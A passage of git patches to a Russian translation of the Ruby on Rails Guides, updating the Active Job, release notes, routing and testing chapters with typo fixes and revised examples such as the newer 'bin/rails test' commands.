utilizing Mongrel's own path finding methods. - # Use is similar to #run, replacing the app argument with a hash of - # { path=>app, ... } or an instance of Rack::URLMap. - if options[:map] - if app.is_a? Hash - app.each do |path, appl| - path = '/'+path unless path[0] == ?/ - server.register(path, Rack::Handler::Mongrel.new(appl)) - end - elsif app.is_a? URLMap - app.instance_variable_get(:@mapping).each do |(host, path, appl)| - next if !host.nil? && !options[:Host].nil? && options[:Host] != host - path = '/'+path unless path[0] == ?/ - server.register(path, Rack::Handler::Mongrel.new(appl)) - end - else - raise ArgumentError, "first argument should be a Hash or URLMap" - end - else - server.register('/', Rack::Handler::Mongrel.new(app)) +С этого момента реализация `server.run` будет зависеть от используемого вами сервера. Например, при использовании Puma вот как выглядит метод `run`: + +```ruby +... +DEFAULT_OPTIONS = { + :Host => '0.0.0.0', + :Port => 8080, + :Threads => '0:16', + :Verbose => false +} + +def self.run(app, options = {}) + options = DEFAULT_OPTIONS.merge(options) + + if options[:Verbose] + app = Rack::CommonLogger.new(app, STDOUT) end - yield server if block_given? - server.run.join + + if options[:environment] + ENV['RACK_ENV'] = options[:environment].to_s + end + + server = ::Puma::Server.new(app) + min, max = options[:Threads].split(':', 2) + + puts "Puma #{::Puma::Const::PUMA_VERSION} starting..." + puts "* Min threads: #{min}, max threads: #{max}" + puts "* Environment: #{ENV['RACK_ENV']}" + puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}" + + server.add_tcp_listener options[:Host], options[:Port] + server.min_threads = min + server.max_threads = max + yield server if block_given? + + begin + server.run.join + rescue Interrupt + puts "* Gracefully stopping, waiting for requests to finish" + server.stop(true) + puts "* Goodbye!" + end + end ``` From 23417cc3d70676b2dc1137e554bdc8e38d5df2e1 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Wed, 12 Aug 2015 23:09:33 +0400 Subject: [PATCH 072/932] Update active job --- source/active_job_basics.md | 28 ++++++++++++++++++++++------ source/index.yml | 4 ++-- 2 files changed, 24 insertions(+), 8 deletions(-) diff --git a/source/active_job_basics.md b/source/active_job_basics.md index 8643a22c..8460f957 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -22,7 +22,10 @@ Active Job это фреймворк для объявления задач и Назначение Active Job --------------------- -Главным является то, что он обеспечивает, что у всех приложений Rails имеется встроенная инфраструктура для задач, даже если она находится в виде "немедленного исполнения". Затем у нас могут появиться особенности фреймворка или других гемов, созданных на его основе, позволяющие не заботится об отличиях в API между различными исполнителями задач, такими как Delayed Job и Resque. Подбор бэкенда для очередей станет более оперативной работой. Вы сможете переключаться между ними без необходимости переписывать свои задачи. +Главным является то, что он обеспечивает, что у всех приложений Rails имеется встроенная инфраструктура для задач. Затем у нас могут появиться особенности фреймворка или других гемов, созданных на его основе, позволяющие не заботится об отличиях в API между различными исполнителями задач, такими как Delayed Job и Resque. Подбор бэкенда для очередей станет более оперативной работой. Вы сможете переключаться между ними без необходимости переписывать свои задачи. + +NOTE: По умолчанию, Rails поставляется с реализацией очереди в виде "немедленного исполнения". +Это означает, что каждая задача, поставленная в очередь, будет запущена сразу. Создание задачи --------------- @@ -84,7 +87,7 @@ MyJob.set(wait: 1.week).perform_later(record) Запуск задач ------------ -Если не настроен какой-либо адаптер, задача выполнится немедленно. +Чтобы поместить задачу в очередь и выполнить ее, вам необходимо настроить бэкенд для очереди, т.е. вам нужно решить, какую стороннюю библиотеку для очереди Rails будет использовать. Rails не предоставляет сложную систему для работы с очередями, а просто выполняет задачу немедленно, если не настроен какой-либо адаптер. ### Бэкенды @@ -99,12 +102,14 @@ MyJob.set(wait: 1.week).perform_later(record) module YourApp class Application < Rails::Application # Убедитесь, что гем адаптера добавлен в Gemfile, и что выполнены - # инструкции по установке и развертыванию адапетра. + # инструкции по установке и развертыванию адаптера. config.active_job.queue_adapter = :sidekiq end end ``` +NOTE: Поскольку задачи запускаются параллельно с вашим Rails приложением, большинство библиотек для работы с очередями требуют запуска специфичной для библиотеки службы очереди (помимо старта вашего Rails приложения) для обработки задач. Для получения информации о том, как это сделать, обратитесь к документации соответствующей библиотеки. + Очереди ------- @@ -178,7 +183,7 @@ class ProcessVideoJob < ActiveJob::Base end def perform(video) - # делаем обработку видео + # Делаем обработку видео end end @@ -260,7 +265,7 @@ class TrashableCleanupJob < ActiveJob::Base end ``` -Это работает с любым классом, в который подмешан `GlobalID::Identification`, который по умолчанию был подмешан в классы Active Model. +Это работает с любым классом, в который подмешан `GlobalID::Identification`, который по умолчанию был подмешан в классы Active Record. Исключения ---------- @@ -273,7 +278,7 @@ class GuestsCleanupJob < ActiveJob::Base queue_as :default rescue_from(ActiveRecord::RecordNotFound) do |exception| - # сделать что-то с этим исключением + # Сделать что-то с этим исключением end def perform @@ -281,3 +286,14 @@ class GuestsCleanupJob < ActiveJob::Base end end ``` + +### Десериализация + +GlobalID позволяет сериализовать полностью объекты Active Record, переданные в `#perform`. + +Если переданная запись была удалена после того, как задача была помещена в очередь, но до того, как метод `#perform` был вызван, Active Job вызовет исключение `ActiveJob::DeserializationError`. + +Тестирование задач +------------------ + +Вы можете найти подробные инструкции о том, как тестировать ваши задачи в [руководстве по тестированию](testing.html#testing-jobs). diff --git a/source/index.yml b/source/index.yml index 3db860df..f9e08825 100644 --- a/source/index.yml +++ b/source/index.yml @@ -117,8 +117,8 @@ pages: - title: Основы Active Job path: active_job_basics file: active_job_basics.md - revision: 50a3e482ad23091890139d990cced9027a9a0d77 - date: 12/12/2014 + revision: 5e2273f42ce2382023f90fe4f0fbceec5c3416d5 + date: 03/07/2015 - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications From cb72c9419bd13d0be9252e425b948e36406b1005 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Thu, 13 Aug 2015 23:13:44 +0400 Subject: [PATCH 073/932] Small fix active job --- source/active_job_basics.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/source/active_job_basics.md b/source/active_job_basics.md index 8460f957..9ee9e954 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -16,7 +16,7 @@ Введение ------------ -Active Job это фреймворк для объявления задач и их запуска на разных бэкендах для очередей. Эти задачи могут быть чем угодно, от регулярно запланированных чисток до списаний с карт или рассылок. В общем, всем, что может быть выделено в небольшие работающие части и запускаться параллельно. +Active Job - это фреймворк для объявления задач и их запуска на разных бэкендах для очередей. Эти задачи могут быть чем угодно, от регулярно запланированных чисток до списаний с карт или рассылок. В общем, всем, что может быть выделено в небольшие работающие части и запускаться параллельно. Назначение Active Job @@ -190,7 +190,7 @@ end ProcessVideoJob.perform_later(Video.last) ``` -NOTE: Убедитесь, что ваш бэкенд для очередй "слушает" имя вашей очереди. Для некоторых бэкендов необходимо указать очереди, которые нужно слушать. +NOTE: Убедитесь, что ваш бэкенд для очередей "слушает" имя вашей очереди. Для некоторых бэкендов необходимо указать очереди, которые нужно слушать. Колбэки ------- From 1717ece0179a97c396d175703c10fa83bbfecd2c Mon Sep 17 00:00:00 2001 From: "V.Kolesnikov" Date: Thu, 13 Aug 2015 23:49:03 +0300 Subject: [PATCH 074/932] Update 4_2_release_notes.md --- source/4_2_release_notes.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/source/4_2_release_notes.md b/source/4_2_release_notes.md index f746d6dc..62528bd9 100644 --- a/source/4_2_release_notes.md +++ b/source/4_2_release_notes.md @@ -49,11 +49,11 @@ end ### Adequate Record -Adequate Record — это набор улучшений производительности в Active Record, сделавший оыбчные вызовы методов `find` и `find_by` и некоторых запросов связей до двух раз быстрее. +Adequate Record — это набор улучшений производительности в Active Record, сделавший обычные вызовы методов `find` и `find_by` и некоторых запросов связей до двух раз быстрее. Он работает, кэшируя обычные запросы SQL как подготовленные выражения (prepared statements) и повторно используя их при подобных вызовах, опуская большую часть работы по созданию запроса при последующих вызовах. За подробностями обратитесь к [публикации Aaron Patterson](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html). -Active Record будет пользоваться преимуществами этой особенности на поодерживаемых операциях автоматически, без какого-либо вовлечения пользователя или изменения кода. Вот несколько примеров поддерживаемых операций: +Active Record будет пользоваться преимуществами этой особенности на поддерживаемых операциях автоматически, без какого-либо вовлечения пользователя или изменения кода. Вот несколько примеров поддерживаемых операций: ```ruby Post.find(1) # Первый вызов создает и кэширует подготовленное выражение @@ -163,7 +163,7 @@ end Однако, это изменение не позволяет доступ к серверу Rails с другой машины, например, если ваша среда разработки в виртуальной машине, и вы хотите доступ к ней с хоста. В таких случаях запускайте сервер с помощью `rails server -b 0.0.0.0`, чтобы восстановить старое поведение. -Если так сделаете, не забудьте правильно настроить свой фаирволл, чтобы только доверенные машины вашей сети имели доступ к вашему серверу разработки. +Если так сделаете, не забудьте правильно настроить свой файрвол, чтобы только доверенные машины вашей сети имели доступ к вашему серверу разработки. ### Санитайзер HTML From e1684db867287e2304a12b829f93038e38d796fc Mon Sep 17 00:00:00 2001 From: kolesnikov Date: Fri, 14 Aug 2015 21:42:09 +0300 Subject: [PATCH 075/932] Fix routing.md --- source/routing.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/routing.md b/source/routing.md index 82a7b670..ee78aa5a 100644 --- a/source/routing.md +++ b/source/routing.md @@ -1010,7 +1010,7 @@ TIP: Если в вашем приложении много маршрутов R ### Переведенные пути -Используя `scope`, можно изменить имена путей, создаваемых с помощью `recources`: +Используя `scope`, можно изменить имена путей, создаваемых с помощью `resources`: ```ruby scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do From e9a07b71a168da9e97f0849c0f95794b2ee25a31 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 15 Aug 2015 01:06:00 +0400 Subject: [PATCH 076/932] Update testing --- source/index.yml | 4 +- source/testing.md | 378 ++++++++++++++++++++++------------------------ 2 files changed, 185 insertions(+), 197 deletions(-) diff --git a/source/index.yml b/source/index.yml index f9e08825..2c79fef2 100644 --- a/source/index.yml +++ b/source/index.yml @@ -123,8 +123,8 @@ pages: - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: c26ee64b9211c92f4826fb935c615fbfa9d35821 - date: 26/03/2015 + revision: 3862c55049adc14efd8dc8bd4c4627e0b987d51c + date: 13/06/2015 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide diff --git a/source/testing.md b/source/testing.md index 0c95f1ec..feeb8bbe 100644 --- a/source/testing.md +++ b/source/testing.md @@ -77,7 +77,7 @@ steve: profession: guy with keyboard ``` -Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. +Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. Если работаете со [связями](/active-record-associations), можно просто определить ссылку между двумя различными фикстурами. Вот пример для связи `belongs_to`/`has_many`: @@ -95,7 +95,7 @@ one: Отметьте, что у ключа `category` в статье `one` из `fixtures/articles.yml` значение `about`. Это говорит Rails загрузить категорию `about` из `fixtures/categories.yml`. -Note: При связи двух записей по имени в связанных фикстурах нельзя указывать атрибут `id:`. Rails автоматически назначит первичный ключ, согласующийся между запусками. Подробнее об этом поведении связей можно прочиать в [документации API фикстур](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). +NOTE: При связи двух записей по имени в связанных фикстурах нельзя указывать атрибут `id:`. Rails автоматически назначит первичный ключ, согласующийся между запусками. Подробнее об этом поведении связей можно прочитать в [документации API фикстур](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). #### ERb @@ -132,32 +132,33 @@ users(:david).id # он имеет доступ к методам, доступным для класса User email(david.partner.email, david.location_tonight) + +``` + +Чтобы получить несколько фикстур за раз, вы можете передать список имен фикстур. Например: + +```ruby +# это возвратит массив, содержаший фикстуры david и steve +users(:david, :steve) ``` -### Задачи Rake для запуска тестов +### Консольные задачи для запуска ваших тестов -Rails поставляется с рядом встроенных задач rake, помогающих тестировать. Нижеследующая таблица перечисляет команды, включенные в Rakefile по умолчанию при создании проекта Rails. +Rails поставляется с консольными командами для запуска тестов. +Ниже несколько примеров как использовать их: -| Задачи | Описание | -| ----------------------- | ----------- | -| `rake test` | Запускает все тесты в директории `test`. Можно также запустить `rake` и Rails запустит все тесты по умолчанию | -| `rake test:controllers` | Запускает все тесты контроллеров из `test/controllers` | -| `rake test:functionals` | Запускает все функциональные тесты из `test/controllers`, `test/mailers` и `test/functional` | -| `rake test:helpers` | Запускает все тесты хелперов из `test/helpers` | -| `rake test:integration` | Запускает все интеграционные тесты из `test/integration` | -| `rake test:jobs` | Запускает все тесты задач из `test/jobs` | -| `rake test:mailers` | Запускает все тесты рассыльщиков из `test/mailers` | -| `rake test:models` | Запускает все тесты моделей из `test/models` | -| `rake test:units` | Запускает все юнит-тесты из `test/models`, `test/helpers` и `test/unit` | -| `rake test:db` | Запускает все тесты в директории `test` и сбрасывает базу данных | +```bash +$ bin/rails test # запустить все тесты в папке `test` +$ bin/rails test test/controllers # запустить все тесты из указанной папки +$ bin/rails test test/models/post_test.rb # запустить определенный тест +$ bin/rails test test/models/post_test.rb:44 # запустить определенный тест и строку +``` В этом руководстве мы раскроем каждый из перечисленных тут типов тестов Rails. Тестирование моделей -------------------- -В Rails юнит-тесты это то, что вы пишете, чтобы протестировать свои модели. - Для этого руководства мы будем использовать приложение, созданное в руководстве [Rails для начинающих](/getting-started-with-rails). Если помните, ранее мы использовали команду `rails generate scaffold`. Мы создали наш первый ресурс, где, среди прочего, создался незаконченный тест в папке `test/models`: @@ -189,7 +190,7 @@ end require 'test_helper' ``` -Затребуя этот фал, загружается конфигурация по умолчанию `test_helper.rb` для запуска наших тестов. Мы будем включать эту строку во все написанные тесты, таким образом, все методы, добавленные в этот файл, будут доступны всем вашим тестам. +Затребуя этот файл, загружается конфигурация по умолчанию `test_helper.rb` для запуска наших тестов. Мы будем включать эту строку во все написанные тесты, таким образом, все методы, добавленные в этот файл, будут доступны во всех ваших тестах. ```ruby class ArticleTest < ActiveSupport::TestCase @@ -207,7 +208,7 @@ test "the truth" do end ``` -Что является приблизительно тем же как если бы написали: +Это является приблизительно тем же, как если бы написали: ```ruby def test_the_truth @@ -219,33 +220,33 @@ end NOTE: Имя метода создается, заменяя пробелы на подчеркивания. Хотя результат не должен быть валидным идентификатором Ruby, имя может содержать знаки пунктуации и т.д. Это связано с тем, что в Ruby технически любая строка может быть именем метода. Это может потребовать, чтобы вызовы `define_method` и `send` функционировали правильно, но формально есть только небольшое ограничение на имя. -Далее посмотрим на наше первый оператор контроля: +Далее посмотрим на наше первое утверждение: ```ruby assert true ``` -Оператор контроля это строчка кода, которая вычисляет объект (или выражение) для ожидаемых результатов. Например, оператор контроля может проверить: +Утверждение (assertion) - это строчка кода, которая вычисляет объект (или выражение) для ожидаемых результатов. Например, утверждение может проверить: -* является ли это значение = тому значению? -* является ли этот объект nil? +* является ли это значение равным тому значению? +* является ли этот объект `nil`? * вызывает ли эта строка кода исключение? * является ли пароль пользователя больше, чем 5 символов? -Каждый тест должен содержать минимум один оператор контроля без ограничений на их максимальное количество. Только когда все операторы контроля успешны, тест проходит. +Каждый тест должен содержать минимум одно утверждение без ограничений на их максимальное количество. Только когда все утверждения успешны, тест проходит. ### Поддержка схемы тестовой базы данных -Чтобы запустить тесты, ваша тестовая база данных должна иметь текущую структуры. Тестовый хелпер проверяет, не имеет ли ваша тестовая база данных отложенных миграций. Если так, он пытается загрузить ваши `db/schema.rb` или `db/structure.sql` в тестовую базу данных. Если миграции все еще отложены, будет вызвана ошибка. Обычно это указывает на то, что ваша схема не полностью смигрирована. Запуск миграций для базы данных development (`bin/rake db:migrate`) приведет схему в актуальное состояние. -+ -+NOTE: Если существующие миграции требуют модификации, нужно перестроить тестовую базу данных. Это делается с помощью выполнения `bin/rake db:test:prepare`. +Чтобы запустить тесты, ваша тестовая база данных должна иметь текущую структуры. Тестовый хелпер проверяет, не имеет ли ваша тестовая база данных отложенных миграций. Если так, он пытается загрузить ваши `db/schema.rb` или `db/structure.sql` в тестовую базу данных. Если есть отложенные миграции - будет вызвана ошибка. Обычно это указывает на то, что ваша схема не полностью смигрирована. Запуск миграций для базы данных development (`bin/rake db:migrate`) приведет схему в актуальное состояние. + +NOTE: Если существующие миграции требуют модификации, нужно перестроить тестовую базу данных. Это делается с помощью выполнения `bin/rake db:test:prepare`. ### Запуск тестов -Запуск теста так же прост, как вызов файла, содержащего тестовый случай, с помощью команды `rake test`: +Запуск теста так же прост, как вызов файла, содержащего тестовый случай, с помощью команды `rails test`: ```bash -$ bin/rake test test/models/article_test.rb +$ bin/rails test test/models/article_test.rb . Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. @@ -254,22 +255,21 @@ Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. Это запустит все тестовые методы из тестового случая. - Также можете запустить определенный тестовый метод из тестового случая, запустив тест и предоставив `имя тестового метода`. ```bash -$ bin/rake test test/models/article_test.rb test_the_truth +$ bin/rails test test/models/article_test.rb test_the_truth . Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. 1 tests, 1 assertions, 0 failures, 0 errors, 0 skips ``` -Точка `.` обозначает прошедший тест. Когда тест проваливается, вы увидите `F`; когда тест вызывает ошибку, вы увидите `E` в этом месте. Последняя строка результата это итоги. +Точка `.` обозначает прошедший тест. Когда тест проваливается, вы увидите `F`; когда тест вызывает ошибку, вы увидите `E` в этом месте. Последняя строка результата - это итоги. #### Ваш первый падающий тест -Чтобы увидеть, как сообщается при провале, давайте добавим проваливающийся тест в тестовом случае `article_test.rb`. +Чтобы увидеть, как сообщается провал теста, вы можете добавить проваливающийся тест в тестовый случай `article_test.rb`. ```ruby test "should not save article without title" do @@ -278,10 +278,10 @@ test "should not save article without title" do end ``` -Давайте запустим только что добавленный тест. +Давайте запустим только что добавленный тест (где `6` - это номер строки, где определен тест). ```bash -$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title +$ bin/rails test test/models/article_test.rb:6 F Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s. @@ -293,7 +293,7 @@ Failed assertion, no message given. 1 tests, 1 assertions, 1 failures, 0 errors, 0 skips ``` -В результате `F` обозначает провал. Можете увидеть соответствующую трассировку под `1)` вместе с именем провалившегося теста. Следующие несколько строк содержат трассировку стека, затем сообщение, где упомянуто фактическое значение и ожидаемое оператором контроля значение. Сообщение оператора контроля об ошибке предоставляет достаточно информации, чтобы помочь выявить ошибку. Чтобы сделать сообщение о провале оператора контроля более читаемым, каждый оператор контроля предоставляет опциональный параметр сообщения, как показано тут: +В результате `F` обозначает провал. Можете увидеть соответствующую трассировку под `1)` вместе с именем провалившегося теста. Следующие несколько строк содержат трассировку стека, затем сообщение, где упомянуто фактическое значение и ожидаемое в утверждении значение. По умолчанию сообщение для утверждения предоставляет достаточно информации, чтобы помочь выявить ошибку. Чтобы сделать сообщение о провале для утверждения более читаемым, каждое утверждение предоставляет опциональный параметр для сообщения, как показано тут: ```ruby test "should not save article without title" do @@ -302,7 +302,7 @@ test "should not save article without title" do end ``` -Запуск этого теста покажет более дружелюбное контрольное сообщение: +Запуск этого теста покажет более дружелюбное сообщение для утверждения: ```bash 1) Failure: @@ -321,14 +321,14 @@ end Теперь тест пройдет. Давайте убедимся в этом, запустив его снова: ```bash -$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title +$ bin/rails test test/models/article_test.rb:6 . Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s. 1 tests, 1 assertions, 0 failures, 0 errors, 0 skips ``` -Теперь вы увидели, что мы сначала написали тест, который не прошел для желаемой функциональности, затем мы написали некоторый код, добавляющий функциональность, и наконец мы убедились, что наш тест прошел. Этот подход к разработке программного обеспечения упоминается как [_Разработка через тестирование, Test-Driven Development_ (TDD)](http://c2.com/cgi/wiki?TestDrivenDevelopment). +Теперь, если вы заметили, мы сначала написали провальный тест для желаемой функциональности, затем мы написали некоторый код, добавляющий функциональность, и, наконец, мы убедились, что наш тест прошел. Этот подход к разработке программного обеспечения называют [_Разработка через тестирование, Test-Driven Development_ (TDD)](http://c2.com/cgi/wiki?TestDrivenDevelopment). #### Как выглядит ошибка @@ -336,7 +336,7 @@ Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s. ```ruby test "should report error" do - # some_undefined_variable is not defined elsewhere in the test case + # переменная some_undefined_variable не определена в тесте some_undefined_variable assert true end @@ -345,7 +345,7 @@ end Теперь вы увидите чуть больше результата в консоли от запуска тестов: ```bash -$ bin/rake test test/models/article_test.rb test_should_report_error +$ bin/rails test test/models/article_test.rb E Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s. @@ -360,58 +360,91 @@ NameError: undefined local variable or method `some_undefined_variable' for # "12" }, session: { 'user_id' => 5 }) +get(:show, params: { id: 12 }, session: { user_id: 5 }) ``` Другой пример: Вызов экшна `:view`, передача `id`, равного 12, как `params`, в этот раз без сессии, но с сообщением flash. ```ruby -get(:view, params: { 'id' => '12' }, flash: { 'message' => 'booya!' }) +get(:view, params: { id: 12 }, flash: { message: 'booya!' }) ``` NOTE: Если попытаетесь запустить тест `test_should_create_article` из `articles_controller_test.rb`, он провалится из-за недавно добавленной валидации на уровне модели, и это правильно. @@ -484,12 +518,12 @@ NOTE: Если попытаетесь запустить тест `test_should_c Давайте изменим тест `test_should_create_article` в `articles_controller_test.rb` так, чтобы все наши тесты проходили: ```ruby -test "should create article" do +test_should_create_article do assert_difference('Article.count') do post :create, params: { article: { title: 'Some title' } } end - assert_redirected_to article_path(assigns(:article)) + assert_redirected_to article_path(Article.last) end ``` @@ -497,7 +531,7 @@ end ### Доступные типы запросов для функциональных тестов -Если вы знакомы с протоколом HTTP, то знаете, что `get` это тип запроса. Имеется 6 типов запроса, поддерживаемых в функциональных тестах Rails: +Если вы знакомы с протоколом HTTP, то знаете, что `get` это тип запроса. Имеется 6 типов запросов, поддерживаемых в функциональных тестах Rails: * `get` * `post` @@ -506,46 +540,42 @@ end * `head` * `delete` -У всех типов запроса есть эквивалентные методы, которые можно использовать. В обычном приложении C.R.U.D. вы чаще будете использовать `get`, `post`, `put` и `delete`. +У всех типов запросов есть эквивалентные методы, которые можно использовать. В обычном приложении C.R.U.D. вы чаще будете использовать `get`, `post`, `put` и `delete`. -NOTE: Функциональные тесты не проверяют, поддерживается ли определенный тип запроса экшном, он больше беспокоится о результате. Для этого случая существуют тесты запросов, чтобы сделалть ваши тесты более целенаправленными. +NOTE: Функциональные тесты не проверяют, поддерживается ли определенный тип запроса экшеном, мы больше беспокоимся о результате. Для этого случая существуют тесты запросов, чтобы сделать ваши тесты более целенаправленными. ### Тестирование запросов XHR (AJAX) Чтобы протестировать запросы AJAX, можно указать опцию `xhr: true` в методах `get`, `post`, `patch`, `put` и `delete`: ```ruby -test "ajax request responds with no layout" do +test "ajax request" do get :show, params: { id: articles(:first).id }, xhr: true - assert_template :index - assert_template layout: nil + assert_equal 'hello world', @response.body + assert_equal "text/javascript", @response.content_type end ``` -### The Four Hashes of the Apocalypse +### Три Хэша Апокалипсиса (The Three Hashes of the Apocalypse) -После того, как запрос был сделан и обработан, у вас будет 4 объекта Hash, готовых для использования: +После того, как запрос был сделан и обработан, у вас будет 3 объекта Hash, готовых для использования: -* `assigns` - Любые объекты, хранящиеся как переменные экземпляров в экшнах для использования во вьюхах. * `cookies` - Любые установленные куки. * `flash` - Любые объекты, находящиеся во flash. -* `session` - Любой объект, находящийся в переменных сессии. +* `session` - Любый объекты, находящиеся в переменных сессии. -Как и в случае с обычными объектами Hash, можете получать доступ к значениям, указав ключ в строке. Также можете указать его именем символа, кроме `assigns`. Например: +Как и в случае с обычными объектами Hash, можете получать доступ к значениям, указав ключ в строке. Также можете указать его именем символа. Например: ```ruby flash["gordon"] flash[:gordon] session["shmession"] session[:shmession] cookies["are_good_for_u"] cookies[:are_good_for_u] - -# Так как нельзя использовать assigns[:something] в силу исторических причин: -assigns["something"] assigns(:something) ``` ### Доступные переменные экземпляра -В Ваших функциональных тестах также доступны три переменные экземпляра: +В ваших функциональных тестах также доступны три переменные экземпляра: * `@controller` - Контроллер, обрабатывающий запрос * `@request` - Объект запроса @@ -553,71 +583,33 @@ assigns["something"] assigns(:something) ### Установка заголовков и переменных CGI -Заголовки и переменные cgi могут быть установлены непосредственно на переменной экземпляра `@request`: +[Заголовки HTTP](http://tools.ietf.org/search/rfc2616#section-5.3) и [переменные CGI](http://tools.ietf.org/search/rfc3875#section-4.1) могут быть установлены непосредственно на переменной экземпляра `@request`: ```ruby -# утсанавливаем заголовка HTTP +# устанавливаем заголовок HTTP @request.headers["Accept"] = "text/plain, text/html" -get :index # simulate the request with custom header +get :index # имитировать запрос с пользовательским заголовком # устанавливаем переменную CGI @request.headers["HTTP_REFERER"] = "http://example.com/home" -post :create # simulate the request with custom env variable +post :create # имитировать запрос с пользовательской env переменной ``` -### Тестирование шаблонов и макетов - -Иногда вы захотите протестировать, что был рендерен определенный макет в отображении отклика. - -#### Тестирование шаблонов - -Если хотите убедиться, что отклик рендерит правильные шаблон и макет, можно использовать метод `assert_template`: - -```ruby -test "index should render correct template and layout" do - get :index - assert_template :index - assert_template layout: "layouts/application" - - # Также можно передать регулярное выражение. - assert_template layout: /layouts\/application/ -end -``` - -NOTE: Нельзя тестировать шаблон и макет одновременно, в одном вызове метода `assert_template`. - -WARNING: Нужно обязательно включать имя директории "layouts", даже если ваш файл макета сохранен в этой стандартной директории для макетов. Следовательно, `assert_template layout: "application"` не будет работать. - -#### Тестирование партиалов - -Если вьюха рендерит какой-либо партиал, при тестировании макета можно одновременно проверить партиал. Иначе оператор контроля провалится. - -Помните, мы добавили партиал "_form" в нашу вьюху для новой Article? Давайте напишем оператор контроля для этого в экшне `:new`: - -```ruby -test "new should render correct layout" do - get :new - assert_template layout: "layouts/application", partial: "_form" -end -``` - -Это является правильным способом убедиться, что вьюха рендерит партиал с заданным именем. Которое определяется ключом `:partial`, переданным в вызов `assert_template`. - ### Тестирование сообщений `flash` -Как помните, одним из четырех хэшей был `flash`. +Как помните, одним из трех хэшей был `flash`. -Мы хотим добавить сообщение `flash` в наше приложение блога, всякий раз, когда кто-то успешно создает новую Article. +Мы хотим добавить сообщение `flash` в наше приложение блога, всякий раз, когда кто-то успешно создает новый объект Article. -Давайте начнем с добавления этого оператора контроля в наш тест `test_should_create_article`: +Давайте начнем с добавления этого утверждения в наш тест `test_should_create_article`: ```ruby -test "should create article" do +test_should_create_article do assert_difference('Article.count') do post :create, params: { article: { title: 'Some title' } } end - assert_redirected_to article_path(assigns(:article)) + assert_redirected_to article_path(Article.last) assert_equal 'Article was successfully created.', flash[:notice] end ``` @@ -625,7 +617,7 @@ end Если запустить наш тест сейчас, мы увидим ошибку: ```bash -$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article +$ bin/rails test test/controllers/articles_controller_test.rb test_should_create_article Run options: -n test_should_create_article --seed 32266 # Running: @@ -645,7 +637,7 @@ ArticlesControllerTest#test_should_create_article [/Users/zzak/code/bench/shared 1 runs, 4 assertions, 1 failures, 0 errors, 0 skips ``` -Теперь давайте реализуем сообщение flash в нашем контроллере. Наш экшн `:create` теперь должен выглядеть так: +Теперь давайте реализуем сообщение flash в нашем контроллере. Наш экшен `:create` теперь должен выглядеть так: ```ruby def create @@ -663,7 +655,7 @@ end Если теперь запустить наши тесты, мы увидим, что он проходит: ```bash -$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article +$ bin/rails test test/controllers/articles_controller_test.rb test_should_create_article Run options: -n test_should_create_article --seed 18981 # Running: @@ -691,7 +683,7 @@ end Как помните из нашего обсуждения фикстур, что метод `articles()` дает нам доступ к нашим фикстурам Articles. -Как насчет удаления существующей Article? +Как насчет удаления существующего объекта Article? ```ruby test "should destroy article" do @@ -704,17 +696,17 @@ test "should destroy article" do end ``` -Также можно добавить тест для обновления существующей Article. +Также можно добавить тест для обновления существующего объекта Article. ```ruby test "should update article" do article = articles(:one) patch :update, params: { id: article.id, article: { title: "updated" } } - assert_redirected_to article_path(assigns(:article)) + assert_redirected_to article_path(article) end ``` -Отметьте, что у нас имеется некоторое дублирование в этих трех тестах, они все получают доступ к одним и тем же данным фикстуры Article. Можно убрать повоторения с помощью методов `setup` и `teardown`, предоставленных `ActiveSupport::Callbacks`. +Отметьте, что у нас имеется некоторое дублирование в этих трех тестах, они все получают доступ к одним и тем же данным фикстуры Article. Можно убрать повторения с помощью методов `setup` и `teardown`, предоставленных `ActiveSupport::Callbacks`. Наш тест должен выглядеть как-то так, не обращайте внимания, что остальные тесты были убраны для краткости. @@ -722,19 +714,19 @@ end require 'test_helper' class ArticlesControllerTest < ActionController::TestCase - # called before every single test + # вызывается перед каждым отдельным тестом def setup @article = articles(:one) end - # called after every single test + # вызывается после каждого отдельного теста def teardown - # when controller is using cache it may be a good idea to reset it afterwards + # когда контроллер использует кэш, это может быть хорошей идеей сбросить его затем Rails.cache.clear end test "should show article" do - # Reuse the @article instance variable from setup + # переиспользуем инстанс переменную @article из setup get :show, params: { id: @article.id } assert_response :success end @@ -749,12 +741,12 @@ class ArticlesControllerTest < ActionController::TestCase test "should update article" do patch :update, params: { id: @article.id, article: { title: "updated" } } - assert_redirected_to article_path(assigns(:article)) + assert_redirected_to article_path(@article) end end ``` -Подобно другим колбэкам Rails, методы `setup` и `teardown` можно использовать, передав блок, lambda или имя метода для вызова символом. +Подобно другим колбэкам Rails, методы `setup` и `teardown` можно использовать, передав блок, lambda 